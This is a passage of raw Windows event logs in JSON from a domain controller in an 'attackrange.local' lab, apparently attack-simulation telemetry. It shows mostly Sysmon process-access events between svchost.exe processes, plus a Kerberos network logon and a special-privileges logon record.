12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6436,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6437,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6438,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6439,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6440,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6441,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222268,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x9AFDB\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x9afdb","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222269,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x9AFDB\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51520\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x9afdb","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51520","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6442,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 